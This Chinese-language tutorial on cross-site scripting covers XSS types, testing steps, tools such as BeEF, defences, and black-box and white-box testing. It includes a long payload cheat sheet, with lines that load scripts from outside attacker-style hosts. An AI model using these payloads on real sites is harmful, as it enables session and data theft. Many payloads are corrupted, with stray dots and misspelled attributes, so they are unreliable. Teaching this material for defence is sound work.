XSS 的简介
XSS(Cross-Site Scripting)跨站脚本攻击,是一种常见的网络安全漏洞,指攻击者将恶意脚本注入到网页中,然后这些脚本在用户的浏览器中执行。这种攻击通常发生在基于 Web 的应用程序中,如网站和 web 应用程序,当它们未能正确过滤、转义或验证用户输入时。
XSS 攻击的主要目标是窃取用户的敏感信息,如:登录凭证、会话令牌和个人数据。或者执行恶意操作,如:冒充用户执行操作、改变页面内容或重定向用户到恶意网站。攻击者通常会通过在网页上插入恶意脚本来实施 XSS 攻击,这些脚本然后由用户的浏览器执行,因此它们可以访问用户在该网站上的数据和操作权限。
XSS 攻击类型
非持久型 XSS 攻击:是一次性的,仅对当次的页面访问产生影响。非持久型 XSS 攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户浏览器执行,从而达到攻击目的。
持久型 XSS 攻击:会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。
① 存储型 XSS:攻击者将恶意脚本存储在受害者能够访问的网页或应用程序中,当其他用户浏览这些受感染的页面时,恶意脚本会被执行。
② 反射型 XSS:攻击者将恶意脚本包含在钓鱼链接或恶意参数中,当用户点击这些链接或提供恶意参数时,恶意脚本会在用户的浏览器中执行。
③ DOM 型 XSS:这种类型的攻击在客户端进行,恶意脚本修改网页的 DOM(文档对象模型),导致页面的行为发生变化。这种攻击通常是基于用户输入,不一定涉及服务器端。
温馨提示:XSS 漏洞一般会出现在查询框,留言板等可以输入的地方。
常用的 XSS 注入语句
bash
<script>alert('XSS 弹窗测试');</script>
>"'><img src="javascript.:alert('XSS')">
>"'><script>alert('XSS')</script>
<table background='javascript.:alert(([code])'></table>
<object type=text/html data='javascript.:alert(([code]);'></object>
"+alert('XSS')+"
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
<script>alert('Vulnerable')</script>
a.jsp/<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
<IMG SRC="javascript.:alert('XSS');">
<IMG src="/javascript.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"("XSS")>
<IMG SRC="jav	ascript.:alert('XSS');">
<IMG SRC="jav
ascript.:alert('XSS');">
<IMG SRC="jav
ascript.:alert('XSS');">
"<IMG src="/java"\0script.:alert(\"XSS\")>";'>out
<IMG SRC=" javascript.:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript.:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript.:alert('XSS')">
<IMG LOWSRC="javascript.:alert('XSS')">
<BGSOUND SRC="javascript.:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet"HREF="javascript.:alert('XSS');">
<IMG SRC='vbscript.:msgbox("XSS")'>
<META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">
<IFRAME. src="/javascript.:alert"('XSS')></IFRAME>
<FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript.:alert('XSS')">
<DIV STYLE="background-image: url(javascript.:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE. TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>
<BASE HREF="javascript.:alert('XSS');//">
getURL("javascript.:alert('XSS')")
a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
<XML SRC="javascript.:alert('XSS');">
"> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG SRC="javascript.:alert('XSS')"
<SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
① 反射型
特点:XSS 代码常常出现在 URL 请求中,当用户访问带有 XSS 代码的 URL 请求时,服务器端接收请求并处理,然后将带有 XSS 代码的数据返回给浏览器,浏览器解析该段带有 XSS 代码的数据并执行,整个过程就像一次反射,故称为反射型 XSS 漏洞。
首先找到一个输入框,在输入框内输入以下测试代码,然后测试他是否存在 XSS 漏洞
测试代码:查看是否有弹框(如果弹框,则有 XXS 漏洞的存在)
javascript
<script>alert("反射型")</script>
测试代码:利用 XSS 漏洞,窃取用户 Cookie 信息
javascript
<script>alert(document.cookie)</script>
② 存储型
特点:提交的恶意内容会被永久存储,因而一个单独的恶意代码就会使多个用户受害,故被称为持久性 XSS 漏洞。
存储型 XSS 漏洞一般都是出现在留言板里面的
测试代码:查看是否有弹框(如果弹框,则有 XXS 漏洞的存在)
javascript
<script>alert("存储型")</script>
因为这个是存储型 XSS 漏洞,所以所有的用户点击有 alert 这个页面的时候都会弹框
③ DOM 型
特点:通常是由于客户端接收到的脚本代码存在逻辑错误或者使用不当导致的。比如 Javascript 代码不正确地使用各种 DOM 方法(如 document.write )和 Javascript 内部函数(如 eval 函数),动态拼接 HTML 代码和脚本代码就容易引发 DOM 型的跨站脚本攻击。
HTML 页面示例
html
<!DOCTYPE html>
<html>
<head>
<title>DOM-based XSS Example</title>
</head>
<body>
<div id="output"></div>
<script src="script.js"></script>
</body>
</html>
JavaScript 示例
javascript
document.addEventListener("DOMContentLoaded", function() {
// 获取URL中的查询参数
const params = new URLSearchParams(window.location.search);
const userInput = params.get("input");
// 在DOM中渲染用户输入
const outputDiv = document.getElementById("output");
outputDiv.innerHTML = "User Input: " + userInput;
// 恶意XSS漏洞测试示例
const maliciousInput = '<img src="malicious-site.com/xss-payload" />';
outputDiv.innerHTML = "User Input: " + maliciousInput;
});
测试步骤
① 创建一个 HTML 文件,将上面的 HTML 代码保存为 index.html,并创建一个名为 script.js 的JavaScript 文件,将上面的 JavaScript 代码粘贴到其中。
② 启动一个本地 Web 服务器,以便能够加载 index.html。你可以使用工具,如:Node.js 的 http-server 或 Python 的 SimpleHTTPServer。
③ 打开浏览器,访问 http://localhost:8080/index.html?input=\<script>alert("XSS")</script>,并观察页面中是否显示了弹出窗口。这演示了一个 XSS 攻击。
④ 如果你看到浏览器中出现一个弹出窗口,显示 "XSS",那么你已经成功测试出DOM型XSS漏洞。
工具检测方法
常用工具有 AVWS(Acunetix Web Vulnerability Scanner)、BurpSuite 等。还有一些专门针对 XSS 漏洞的检测工具,如:XSSer、XSSF(跨站脚本攻击框架)、BeEF(The Browser Exploitation Framework)等
自动检测工具:
① beef-xss 是一个 web 框架攻击平台,parrot 和 kali 等渗透测试系统,都集成 beef,而且 beef 有很多好使的 payload。比如:XSS 这个漏洞,beef 可以通过一段编制好的 javascript 控制目标主机的浏览器,通过浏览器拿到各种信息并且扫描内网信息,非常强大。
② XSStrike 是目前比较流行的一款 xss 检查工具,它只针对反射型和 DOM 型,对参数进行模糊测试之后构建合适的 payload,使用 payload 对参数进行穷举匹配,内置爬虫功能,检测并尝试绕过 WAF,同时支持 GET 及 POST 方式,大多数 payload 都是由作者精心构造,误报率极低。
XSS 漏洞的防御
① 于后台可能存在过滤措施,构造的 script 可能会被过滤掉,而无法生效或者环境限制了执行(浏览器)
② xss filter(检查输入,设置白名单方式)
③ 输出检查(编码,转义,常用编码:html 编码,js 编码,16进制等)
④ 针对不同位置的输出,使用不同的处理方式
⑤ 处理富文本 .header 中使用 content-Sencurity-Policy 字段,规定请求 js 的域名白名单(使用内容安全的 CSP 策略)
⑥ 对 HTML 标签或特殊字符进行过滤
⑦ 使用设计上就会自动编码的框架,如:OWASP ESAPI、React JS、JSOUP等,对于 JAVA 而言,可以使用 ESAPI.encoder().encodeForHTML() 对字符串进行 HTML 编码
⑧ 对于反射型和存储型 XSS,可以在数据返回给客户端浏览器时,将敏感字符进行转义,如:将单引号进行编码替换(十进制编码、十六进制编码、HTML 编码 &apos、Unicode 编码 \u0027 等)
⑨ 对于 DOM 型 XSS,可以使用上下文敏感数据编码。如:在 PHP 中的 htmlspecialchars()、htmlentities() 函数可以将一些预定义的字符转换为 HTML 实体,如:小于转化为 <、大于转化为 >、双引号转化为 "、单引号转化为 &apos、与转化为 & 等
⑩ 启用浏览器的 HttpOnly 特性可以组织客户端脚本访问 cookie (浏览器禁止页面的 js 访问带有 httponly 属性的 cookie)。如:在 PHP 中可以通过下面的代码设置 cookie 并启用 HttpOnly
XSS 防御的总体思路
总体思路:对用户的输入(和 URL 参数)进行过滤,对输出进行 html 编码。也就是对用户提交的所有内容进行过滤,对 url 中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行 html 编码,使脚本无法在浏览器中执行。
① 对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的 XSS 攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝 XSS 攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。
② 对输出进行 html 编码,就是通过函数,将用户的输入的数据进行 html 编码,使其不能作为脚本运行。
如下,是使用 php 中的 htmlspecialchars 函数对用户输入的 name 参数进行 html 编码,将其转换为 html 实体。
使用 htmlspecialchars 函数对用户输入的 name 参数进行 html 编码,将其转换为 html 实体。
$name = htmlspecialchars( $_GET[ 'name' ] );
总结:所有的过滤、检测、限制等策略,建议在 Web Server 那一端去完成,而不是使用客户端的 JavaScript 或者 VBScript 去做简单的检查。因为真正的攻击者可以绕过你精心设计制作的客户端进行过滤、检测或限制手段。
黑盒测试
黑盒测试(Black Box Testing)是一种软件测试方法,其中测试人员没有内部知识或访问应用程序的源代码,不需要了解应用程序的内部结构、代码、算法或逻辑,而只关注应用程序的功能和行为,根据应用程序的外部规范、用户文档或界面来进行测试。测试人员将应用程序视为一个封闭的"黑盒",他们测试应用程序的输入和输出,以验证它是否按照规范和预期工作。
黑盒测试的目标是验证应用程序是否按照规范工作,即验证应用程序的功能性和非功能性,而不考虑其内部运作机制,以确保它满足规范和用户需求。这种测试方法旨在模拟最终用户的体验,并确保应用程序满足其预期的功能和性能要求。
黑盒测试可以帮助发现各种类型的问题,从功能缺陷到性能问题,以提高应用程序的质量和可靠性。
主要特点和方法:
不需要了解内部结构 : 在黑盒测试中,测试人员不需要访问应用程序的源代码或了解其内部实现细节。他们只需与应用程序的用户界面或外部接口进行交互。
基于需求和规范 : 黑盒测试侧重于验证应用程序是否符合规范、需求文档和用户期望。测试人员依赖于规范和需求来设计测试用例。
功能测试 : 黑盒测试主要包括功能测试,即验证应用程序的各项功能是否按照预期工作。这包括用户登录、数据输入和输出、数据处理等功能。
非功能测试 : 除了功能测试,黑盒测试也可以包括非功能测试,如性能测试、安全测试、可用性测试等,以确保应用程序满足性能和安全性要求。
独立性 : 黑盒测试通常由独立的测试团队执行,他们与应用程序的开发团队分开工作,以确保客观性和独立性。
测试方法 : 常见的黑盒测试方法包括等价类划分、边界值分析、场景测试、冒烟测试、回归测试等。
用户角度 : 黑盒测试着重于考虑最终用户的需求和期望。测试人员模拟用户行为和使用情景,以确保应用程序符合用户期望。
问题发现 : 黑盒测试有助于发现用户可能遇到的问题,如功能缺陷、用户界面问题、性能问题等。
验证和验收 : 黑盒测试可用于验证应用程序是否满足客户的验收标准和要求。
研发阶段 : 黑盒测试可以在软件开发周期的各个阶段执行,包括需求分析、设计、开发和维护。
与白盒测试的对比 : 黑盒测试与白盒测试形成对比。白盒测试需要了解内部代码和实现细节,而黑盒测试不需要。
缺点: 黑盒测试可能无法揭示应用程序内部的复杂错误或安全漏洞,因为它们没有访问内部代码。
白盒测试
白盒测试(White Box Testing)是一种软件测试方法,也被称为结构测试或透明测试,它侧重于测试程序的内部结构、代码和逻辑,以验证其正确性、稳定性和安全性。白盒测试是在了解被测试软件的内部实现细节的基础上进行的,测试人员需要查看和分析源代码、算法、数据结构以及程序的内部逻辑。因此他们能够设计测试用例来验证软件的内部逻辑、路径覆盖、条件覆盖等方面的功能。
主要目标内容:
代码覆盖 :白盒测试还用于度量测试覆盖度,包括语句覆盖、分支覆盖、条件覆盖等,确保每一行代码都经过测试,以便发现潜在的代码错误。
验证代码的正确性 :白盒测试可以检查代码是否按照规范和预期执行,以确保它的功能正常。
路径覆盖 :测试所有可能的执行路径,以检测逻辑错误和潜在的异常情况。
条件覆盖 :验证所有条件语句的各种可能的结果,以确保代码的各个分支都经过测试。
数据流分析 :检测数据流中的潜在问题,如未初始化的变量、内存泄漏和数据依赖性。
安全性测试:白盒测试还用于检测潜在的安全漏洞和漏洞,如代码注入、SQL注入、跨站脚本(XSS)等。